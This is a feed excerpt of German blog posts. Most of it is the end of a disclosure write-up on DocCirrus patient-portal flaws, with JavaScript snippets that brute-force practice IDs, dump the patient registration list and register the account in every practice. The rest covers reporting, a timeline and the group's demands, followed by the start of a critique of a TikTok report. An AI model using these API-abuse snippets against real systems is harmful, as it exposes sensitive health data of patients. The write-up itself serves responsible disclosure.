&lt;h2 id=&#34;schock-5-wir-können-daten-aus-mehreren-praxen-abrufen&#34;&gt;Schock 5: Wir können Daten aus mehreren Praxen abrufen.&lt;/h2&gt;
&lt;p&gt;Bisher können wir schon persönlichste Dokumente von tausenden Personen abrufen – allerdings alle aus einer Praxis.
Das ist zwar schlimm genug, aber DocCirrus wird ja in mehr als einer Praxis eingesetzt.&lt;/p&gt;
&lt;p&gt;Also ist für uns der nächste Schritt zu schauen, ob wir auch andere Praxen erreichen können.
Doch damit uns der Blindproxy mit einer Praxis sprechen lässt, müssen wir in dieser registriert sein.
Dafür gibt es auch eine API-Methode, mit dem wir unseren Account in einer neuen Praxis registrieren können.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Dafür brauchen wir allerdings die interne Nummer der Praxis.
Um an diese zu kommen, gibt es verschiedene Optionen.&lt;/p&gt;
&lt;p&gt;Wenn euch die Details interessieren, könnt ihr sie hier Ausklappen&lt;/p&gt;
&lt;details&gt;
  &lt;summary&gt;Wie wir an die Praxis-Nummern kommen&lt;/summary&gt;
&lt;h4 id=&#34;option-1-zahlen-erraten&#34;&gt;Option 1: Zahlen erraten&lt;/h4&gt;
&lt;p&gt;Bei dieser Praxis-Nummer handelt es sich um eine vierstellige Zahl, es gibt also nur 10.000 Optionen.
Zu viel, um damit händisch etwas zu machen – aber kein Problem für einen Computer, der schnell alle Möglichkeiten durchprobieren kann:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[...Array(&lt;span style=&#34;color:#ae81ff&#34;&gt;10_000&lt;/span&gt;).&lt;span style=&#34;color:#a6e22e&#34;&gt;keys&lt;/span&gt;()].&lt;span style=&#34;color:#a6e22e&#34;&gt;forEach&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt; =&amp;gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;Y&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;doccirrus&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;jsonrpc&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;api&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;patientreg&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;updatePatient&lt;/span&gt;({ &lt;span style=&#34;color:#a6e22e&#34;&gt;data&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; { &lt;span style=&#34;color:#a6e22e&#34;&gt;customerId&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt; } })
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Allerdings gab es dann noch&lt;/p&gt;
&lt;h4 id=&#34;option-2-wir-haben-noch-eine-sicherheitslücke-gefunden&#34;&gt;Option 2: Wir haben noch eine Sicherheitslücke gefunden&lt;/h4&gt;
&lt;p&gt;Die Liste, welche Patient*innen in welchen Praxen registriert sind, liegt zentral auf dem Server des Gesundheitsportals vor: Dieser muss ja wissen, welche Praxen einer*m Patient*in angezeigt werden sollen.
Doch auch die Liste war unzureichend geschützt.
Mit nur zwei kurzen Befehlen können wir eine Liste aller Patient*innen abrufen:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;Y&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;await&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; Promise((&lt;span style=&#34;color:#a6e22e&#34;&gt;resolve&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;reject&lt;/span&gt;) =&amp;gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;YUI&lt;/span&gt;().&lt;span style=&#34;color:#a6e22e&#34;&gt;use&lt;/span&gt;([&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;JsonRpc&amp;#39;&lt;/span&gt;], &lt;span style=&#34;color:#a6e22e&#34;&gt;resolve&lt;/span&gt;)));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;patientregs&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;await&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;Y&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;doccirrus&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;jsonrpc&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;api&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;patientreg&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;read&lt;/span&gt;({&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;itemsPerPage&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;100000&lt;/span&gt;})
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In dieser Liste stehen dann auch teilweise die jeweligen Praxis-Nummern. Damit können wir uns wiederum mit einem (nun schon etwas längerem) Befehl in allen Praxen registrieren:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;Y&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;doccirrus&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;jsonrpc&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;api&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;patientreg&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;read&lt;/span&gt;({ &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;itemsPerPage&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;100000&lt;/span&gt; }).&lt;span style=&#34;color:#a6e22e&#34;&gt;then&lt;/span&gt;((&lt;span style=&#34;color:#a6e22e&#34;&gt;data&lt;/span&gt;) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;pracIds&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;data&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;data&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;map&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt; =&amp;gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;customerIdPrac&lt;/span&gt;).&lt;span style=&#34;color:#a6e22e&#34;&gt;filter&lt;/span&gt;((&lt;span style=&#34;color:#a6e22e&#34;&gt;v&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;a&lt;/span&gt;) =&amp;gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;a&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;indexOf&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;v&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;===&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;pracIds&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;forEach&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt; =&amp;gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;Y&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;doccirrus&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;jsonrpc&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;api&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;patientreg&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;updatePatient&lt;/span&gt;({ &lt;span style=&#34;color:#a6e22e&#34;&gt;data&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; { &lt;span style=&#34;color:#a6e22e&#34;&gt;customerId&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt; } }))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;})
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;Doch egal wie wir es im Detail machen: Wir sind nun in allen Praxen registriert.
Das heißt auch: Wir können in allen Praxen die Daten aller Patient*innen abrufen.&lt;/p&gt;
&lt;p&gt;Das haben wir natürlich nicht getan – sondern uns für jede Praxis nur angeschaut, wie viele Patient*innen dort im System registriert sind.&lt;/p&gt;
&lt;p&gt;&lt;div class=&#34;shortcode-chat-bubble&#34; data-color=&#39;dark&#39; data-side=&#39;right&#39; aria-label=&#39;Nachricht&#39;&gt;
	ohhhhh fuuuuuuck, ich habe gerade mal die anzahl der patient*innen zusammengezählt
&lt;/div&gt;

&lt;div class=&#34;shortcode-chat-bubble&#34; data-color=&#39;dark&#39; data-side=&#39;right&#39; aria-label=&#39;Nachricht&#39;&gt;
	das sind mehr als 1.750.000
&lt;/div&gt;
&lt;/p&gt;
&lt;h2 id=&#34;und-jetzt-richtig-abschalten&#34;&gt;„Und jetzt? Richtig. Abschalten!“&lt;/h2&gt;
&lt;p&gt;Nachdem wir all diese Lücken gefunden haben, war es 6 Uhr morgens. Sobald wir ausgeschlafen hatten, haben wir die Details zu den Lücken wie immer schnell und sauber aufgeschrieben – diesmal mit noch etwas mehr Zeitdruck als sonst – und am selben Tag noch an den Hersteller, die Berliner Landesdatenschutzbeauftragte sowie das CERTBund beim BSI geschickt.&lt;/p&gt;
&lt;video playsinline autoplay loop muted alt=&#34;Löwenzahn Abschalten GIF&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/p/dokzirkus/abschalten.webm&#34; type=&#34;video/webm&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/p/dokzirkus/abschalten.mp4&#34; type=&#34;video/mp4&#34;&gt;
&lt;/video&gt;
&lt;p&gt;Was dann passierte, hatten wir bisher nicht erlebt: Das Unternehmen hat das System erstmal abgeschaltet. Bei der Schwere der Sicherheitslücken fanden wir das aber auch angebracht.&lt;/p&gt;
&lt;p&gt;Und auch sonst hat sich der Hersteller erstmal gut verhalten:
Er hat sich von sich aus bei uns gemeldet, die Lücken bestätigt und angekündigt, die Betroffenen darüber zu informieren, welche Daten abgeflossen sind und welche weiteren Maßnahmen getroffen werden sollen.&lt;/p&gt;
&lt;h3 id=&#34;anfang-gut-ende-mangelhaft&#34;&gt;Anfang gut, Ende mangelhaft&lt;/h3&gt;
&lt;p&gt;Wir hatten den Eindruck, dass das Unternehmen wirklich betroffen ist und versucht, sowohl weiteren Schaden zu verhindern als auch den bereits entstandenen einzudämmen.&lt;/p&gt;
&lt;p&gt;Nur leider passierte dann nicht mehr viel.
Bis heute ist uns nicht bekannt, ob Patient*innen über die Sicherheitslücke und die abgeflossenen Daten informiert wurden.
Die Patient*innen, die wir kennen, wurden es auf jeden Fall nicht. Eine der betroffenen Praxen schrieb online, dass das Portal &amp;ldquo;aufgrund eines Sicherheitsupdates zur Einführung des eRezeptes&amp;rdquo; nicht zur Verfügung stehe.&lt;/p&gt;
&lt;p&gt;Auch scheint das Unternehmen die Lücken unter den Teppich kehren zu wollen.
Auf der Website findet sich zu dem Thema bisher nur eine, &lt;a href=&#34;https://www.doc-cirrus.com/medien/newsroom/30-pressemeldungen/411-presse-und-medien&#34;&gt;etwas verstecke Pressemitteilung&lt;/a&gt;, aus der die Schwere der Lücken nicht klar hervorgeht.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/dokzirkus/pms.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/dokzirkus/pms.png&#34;
         alt=&#34;Screenshot der Pressemitteilungs-Seite von DocCirrus. Die Pressemitteilungen zu neuen Features haben stets sprechende Titel, während die Meldung zu unserer Recherche nur mit &amp;amp;lsquo;Pressemitteilung vom 11. Juli 2022&amp;amp;rsquo; betitelt ist&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Screenshot der Pressemitteilungs-Seite von DocCirrus. Die Pressemitteilungen zu neuen Features haben stets sprechende Titel, während die Meldung zu unserer Recherche nur mit &amp;lsquo;Pressemitteilung vom 11. Juli 2022&amp;rsquo; betitelt ist&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h2 id=&#34;forderungen&#34;&gt;Forderungen&lt;/h2&gt;
&lt;p&gt;Die Daten, von denen wir in diesem Artikel reden, sind mal wieder Gesundheitsdaten und damit sehr sensible Daten und zurecht in der DSGVO besonders geschützt&lt;sup id=&#34;fnref:4&#34;&gt;&lt;a href=&#34;#fn:4&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;4&lt;/a&gt;&lt;/sup&gt;.
Hierfür vermissen wir bei DocCirrus - aber auch &lt;a href=&#34;https://zerforschung.org/posts/datenabfluss-auf-rezept&#34;&gt;bei anderen Herstellern von Gesundheitssoftware&lt;/a&gt; - das nötige Bewusstsein.&lt;/p&gt;
&lt;p&gt;Die hier beschriebenen Fehlerquellen gehören zu den offensichtlichsten&lt;sup id=&#34;fnref:5&#34;&gt;&lt;a href=&#34;#fn:5&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;5&lt;/a&gt;&lt;/sup&gt;.
Fehler wie diese dürfen eigentlich nicht passieren und zeigen krasse Defizite in den Entwicklungs-Prozessen im Unternehmen auf.
Da helfen auch ganz viele Zertifizierungen nicht – von denen das Unternehmen gleich eine ganze Reihe besitzt: &lt;a href=&#34;https://www.doc-cirrus.com/images/content/doc-cirrus/auszeichnungen/Zertifikat_9001-2015_deutsch-Doc_Cirrus_GmbH.pdf&#34;&gt;ISO9001&lt;/a&gt;, &lt;a href=&#34;https://www.doc-cirrus.com/images/content/doc-cirrus/auszeichnungen/Zertifikat_27001-2013_deutsch-Doc_Cirrus_GmbH.pdf&#34;&gt;ISO27001&lt;/a&gt; und &lt;a href=&#34;https://www.doc-cirrus.com/ueber-doc-cirrus/auszeichnungen&#34;&gt;ganz viele verschiedene von der KBV&lt;/a&gt;.
Doch bei keiner dieser Zertifizierungen wurde das Produkt tatsächlich kritisch überprüft.&lt;/p&gt;
&lt;p&gt;Wir fordern daher:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Das Unternehmen bzw. die Praxen müssen alle Patient*innen über diese Lücke, die gefährdeten Daten und die damit verbundenen Risiken informieren.&lt;/li&gt;
&lt;li&gt;Die Datenschutzbehörde muss gegen das Unternehmen vorgehen und empfindliche Strafen verhängen – nach der DSGVO sind hier bis zu 20 Millionen möglich.&lt;sup id=&#34;fnref:6&#34;&gt;&lt;a href=&#34;#fn:6&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;6&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;Datenschutz und insbesondere IT-Sicherheit muss bei Softwareherstellern ganz oben auf die Prioritätenliste. Und &lt;a href=&#34;https://zerforschung.org/posts/medicant/&#34;&gt;so gilt&lt;/a&gt; &lt;a href=&#34;https://zerforschung.org/posts/flink/&#34;&gt;mal wieder&lt;/a&gt;: &lt;em&gt;Wenn ein Produkt marktreif genug ist, um persönliche Daten zu speichern muss es auch reif genug sein, diese für sich zu behalten.&lt;/em&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;timeline&#34;&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;2022-06-26: Fund der Lücken&lt;/li&gt;
&lt;li&gt;2022-06-27: Report an Hersteller, Landesdatenschutzbeauftragte und CERTBund beim BSI&lt;/li&gt;
&lt;li&gt;2022-06-28: Abschaltung des Portals durch den Hersteller&lt;/li&gt;
&lt;li&gt;2022-07-25: Portal teilweise wieder online; Lücken laut Hersteller behoben&lt;/li&gt;
&lt;li&gt;2022-08-11: Veröffentlichung&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;Diese Recherche veröffentlichen wir exklusiv zusammen mit dem NDR und dem WDR, die nochmal einen genaueren Blick auf die Zertifikate geworfen haben. Deren Berichterstattung findet ihr hier:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.tagesschau.de/investigativ/ndr-wdr/sicherheitsluecke-arztsoftware-101.html&#34;&gt;Tagesschau.de: Unsichere Praxissoftware - Patientendaten ungeschützt um Netz&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.daserste.de/information/politik-weltgeschehen/mittagsmagazin/videos/sicherheitsluecken-praxissoftware-video-100.html&#34;&gt;ARD Mittagsmagazin - Sicherheitslücken bei Praxissoftware&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;p&gt;An solch einem Artikel sitzen wir als Kollektiv &lt;strong&gt;deutlich&lt;/strong&gt; länger als eine Woche, vom Finden der Lücken, über das Schreiben der Reports, den Umgang mit den betroffenen Unternehmen bis zur Veröffentlichung dieses Posts.&lt;/p&gt;
&lt;p&gt;Falls er euch gefällt, &lt;a href=&#34;https://zerforschung.org/unterstuetzen&#34;&gt;könnt ihr uns gerne unterstützen&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;&lt;a href=&#34;https://www.doc-cirrus.com/gesundheitsportal-anleitung-fuer-patienten&#34;&gt;https://www.doc-cirrus.com/gesundheitsportal-anleitung-fuer-patienten&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:2&#34;&gt;
&lt;p&gt;Dass die Daten ohne Verschlüsselung abrufbar waren, hat uns die Untersuchung einfacher gemacht, war aber nicht zwingend notwendig. Wären sie es nicht, hätten wir die Verschlüsselung erst selber nachbauen müssen, bevor wir weiter machen können. So eine Verschlüsselung ist &lt;a href=&#34;https://de.wikipedia.org/wiki/Security_through_obscurity&#34;&gt;kein ausreichender Schutz&lt;/a&gt;.&amp;#160;&lt;a href=&#34;#fnref:2&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:3&#34;&gt;
&lt;p&gt;Es gibt zum Beispiel den interessant klingenden Endpoint &lt;code&gt;cli.runCliCommand&lt;/code&gt;&amp;#160;&lt;a href=&#34;#fnref:3&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:4&#34;&gt;
&lt;p&gt;&lt;a href=&#34;https://eur-lex.europa.eu/legal-content/DE/TXT/HTML/?uri=CELEX:32016R0679&amp;amp;from=DE#d1e2066-1-1&#34;&gt;https://eur-lex.europa.eu/legal-content/DE/TXT/HTML/?uri=CELEX:32016R0679&amp;amp;from=DE#d1e2066-1-1&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:4&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:5&#34;&gt;
&lt;p&gt;&lt;a href=&#34;https://owasp.org/Top10/&#34;&gt;https://owasp.org/Top10/&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:5&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:6&#34;&gt;
&lt;p&gt;Auf Nachfrage teilte uns der Pressesprecher der Berliner Beauftragten für Datenschutz und Informationsfreiheit mit, dass sie die Sicherheitslücken derzeit als &amp;ldquo;gravierend&amp;rdquo; einstufen, allerdings &amp;ldquo;vor Abschluss des Prüfvorgangs insbesondere zu möglichen Sanktionsmaßnahmen und Bewertungen keinen Kommentar abgeben können&amp;rdquo;.&amp;#160;&lt;a href=&#34;#fnref:6&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>Macht doch bitte gute TikTok(-Analysen)</title>
      <link>https://zerforschung.org/posts/tiktok-internet-20/</link>
      <pubDate>Mon, 18 Jul 2022 14:45:00 +0200</pubDate>
      
      <guid>https://zerforschung.org/posts/tiktok-internet-20/</guid>
      <description>&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;a href=&#34;https://zerforschung.org/posts/tiktok-internet-20-en/&#34;&gt;This article was also published in english.&lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;Gerade geht mal wieder ein Report zu TikTok herum. Wir haben uns diesen genau durchgelesen: Das ist größtenteils Quatsch. Schauen wir uns die Behauptungen nacheinander an&lt;/p&gt;
&lt;blockquote class=&#34;twitter-tweet&#34; data-dnt=&#34;true&#34; data-align=&#34;center&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Sicherheitsforscher haben sich den Quellcode von ⁦&lt;a href=&#34;https://twitter.com/tiktok_de?ref_src=twsrc%5Etfw&#34;&gt;@tiktok_de&lt;/a&gt;⁩ angesehen und spannende Dinge gefunden: Stündliche GPS-Abfragen, penetranten Zugriff auf Gerätedaten - und eine mysteriöse IP-Spur nach China. 🇨🇳&lt;br&gt;&lt;br&gt;Jetzt ⁦&lt;a href=&#34;https://twitter.com/derspiegel?ref_src=twsrc%5Etfw&#34;&gt;@derspiegel&lt;/a&gt;⁩. &lt;a href=&#34;https://t.co/tGOqLlzSSO&#34;&gt;https://t.co/tGOqLlzSSO&lt;/a&gt;&lt;/p&gt;&amp;mdash; Anton Rainer (@antonrainer) &lt;a href=&#34;https://twitter.com/antonrainer/status/1548752158107074567?ref_src=twsrc%5Etfw&#34;&gt;July 17, 2022&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src=&#34;https://platform.twitter.com/widgets.js&#34; charset=&#34;utf-8&#34;&gt;&lt;/script&gt;
&lt;hr&gt;
&lt;ol start=&#34;0&#34;&gt;
&lt;li&gt;Um den Report zu bewerben, sagt das Analyse-Unternehmen unter anderem: &amp;ldquo;TIKTOK IS NOT COMPATIBLE WITH OUR APPROACH TO PRIVACY&amp;rdquo;. Ach tatsächlich? Um den Report zu bekommen, muss man Name, Telefonnummer und E-Mail-Adresse angeben. Spannender &amp;ldquo;approach to privacy&amp;rdquo;&amp;hellip;  🤔&lt;/li&gt;
&lt;/ol&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/tiktok-internet-20/FX8pgZ6WQAEAnd3.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/tiktok-internet-20/FX8pgZ6WQAEAnd3.png&#34;
         alt=&#34;Downloadformular mit Abfrage von First Name, Email Address und Phone Number&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Downloadformular mit Abfrage von First Name, Email Address und Phone Number&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Damit eure Daten geschützt bleiben, könnt ihr den Report auch im Internet Archive mitlesen: &lt;a href=&#34;https://archive.org/details/tik-tok-technical-analysis-17-jul-2022.-media-release&#34;&gt;https://archive.org/details/tik-tok-technical-analysis-17-jul-2022.-media-release&lt;/a&gt; #ServiceTweet&lt;/p&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li&gt;Weitreichende Berechtigungen&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Hier hat sich die Bude automatisiert die Liste mit allen Berechtigungen generieren lassen, die die TikTok-App bekommen kann:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/tiktok-internet-20/FX8pq3RWIAMEsXO.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/tiktok-internet-20/FX8pq3RWIAMEsXO.jpg&#34;
         alt=&#34;Liste der Permissions auf Android: Read and write external storage, access coarse location, authenticate accounts, camera, get tasks, read calendar, read contacts, record audio, system alert window, write calendar&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Liste der Permissions auf Android: Read and write external storage, access coarse location, authenticate accounts, camera, get tasks, read calendar, read contacts, record audio, system alert window, write calendar&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/tiktok-internet-20/FX8pky0XgAEZeIc.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/tiktok-internet-20/FX8pky0XgAEZeIc.jpg&#34;
         alt=&#34;Liste der permissions auf ios: access apple media library, access calndars, access the camera, access contacts, access location inforamtion when app is in the foreground, access microphone, access the users photo library&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Liste der permissions auf ios: access apple media library, access calndars, access the camera, access contacts, access location inforamtion when app is in the foreground, access microphone, access the users photo library&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Hierzu sind zwei Dinge wichtig:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Die meisten dieser Berechtigungen müssen nochmal explizit von den Nutzer*innen bestätigt werden. Ihr kennt sicher den &amp;ldquo;Zugriff auf Kontakte erlauben?&amp;quot;-Dialog.&lt;/li&gt;
&lt;li&gt;Für (fast) alle lässt sich ziemlich einfach erklären, wofür TikTok das braucht:&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;p&gt;Kamera &amp;amp; Audioaufnahme: Naja, es ist ne Video-App
Kalender: Man kann sich Livestreams in den Kalender eintragen lassen
Kontakte: Man kann Menschen aus dem Adressbuch finden
Photozugriff: Man kann Bilder aus der Fotogalerie in den Videos verwenden&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Im Report steht fälschlicherweise, dass die App in einer Endlosschleife um Zugriff auf Kontakte bittet, wenn man diesen verweigert. Das stimmt nicht: Zwar fragt die App immer mal wieder während der Nutzung nach, aber man kann stets ablehnen und die App problemlos weiter nutzen.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Für andere Berechtigungen gibt es noch weniger Nachweise: Hier behaupten die &amp;ldquo;Analyst*innen&amp;rdquo; mit Verweis auf Screenshots, dass diese Berechtigungen bösartig ausgenutzt werden. Doch das ergibt sich aus den Screenshots gar nicht.&lt;/p&gt;
